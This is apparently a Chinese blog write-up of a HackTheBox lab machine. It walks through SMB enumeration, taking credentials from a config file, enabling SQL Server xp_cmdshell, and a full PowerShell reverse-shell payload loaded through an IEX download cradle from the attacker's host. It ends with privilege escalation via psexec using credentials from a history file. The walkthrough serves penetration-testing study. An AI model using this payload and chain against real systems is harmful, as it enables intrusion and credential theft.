title: Hackbox初探
categories:


Hackbox初探

简介

hackthebox是一个非常不错的在线实验平台,能帮助你提升渗透测试技能和黑盒测试技能,平台上有很多靶机,从易到难,各个级别的靶机都有。

关于hackbox注册账号,这里就不赘述了,详情参考百度

信息探测

Nmap扫描目标ip

  1. nmap -sC -sV -T4 10.10.10.27

Hackbox初探 - 图1
观察发现,目前开启了1433、445,开启了SQLserver和smb共享服务

思路:目标开启了smb服务,尝试是否可匿名访问

利用smbclient工具进行尝试访问

  1. smbclient -N -L \\\\10.10.10.27\\

Hackbox初探 - 图2
观察发现有个backup,很可疑,利用工具smbclient看看

  1. smbclient -N \\\\10.10.10.27\\backups

Hackbox初探 - 图3
有一个dtsConfig文件,它是与SSIS一起使用的配置文件。
相关SSIS介绍可参考下面链接

https://baike.baidu.com/item/SSIS/5351898?fr=aladdin

下载dtsConfig文件
Hackbox初探 - 图4
观察有个sql链接,还有个本地windows用户凭据ARCHETYPE\sql_svc

深入利用

使用Impacket工具包 中mssqlclient.py 结合上一步得到的凭据连接到SQL Server 。

  1. mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth

Hackbox初探 - 图5
查看当前用户是否是最高权限

  1. select is_srvrolemember('sysadmin')

Hackbox初探 - 图6
Nice!sysadmin权限
开启xp_cmdshell

  1. --打开xp_cmdshell
  2. EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
  3. --关闭xp_cmdshell
  4. EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

尝试执行命令
Hackbox初探 - 图7

反弹shell

尝试利用powershell反弹shell,构造Payload如下,保存ps1

  1. $client = New-Object System.Net.Sockets.TCPClient("10.10.14.138",1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

利用python建立http服务

  1. python3 -m http.server 80

开启终端监听反弹端口

  1. nc -lvvp 1234

利用xp_cmdshell远程加载Powershell,Payload如下

  1. xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.138/1.ps1\");"

Hackbox初探 - 图8
Hackbox初探 - 图9
翻垃圾找到user.txt
Hackbox初探 - 图10

提权

由于该账户既是服务账户也是本地普通账户,因此得检查历史命令

  1. type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Hackbox初探 - 图11
观察得知,在做backup共享时使用本地管理员进行映射
利用Impacket工具包中的psexec.py提权

  1. psexec.py administrator@10.10.10.27

Hackbox初探 - 图12
桌面翻到垃圾
Hackbox初探 - 图13

游戏结束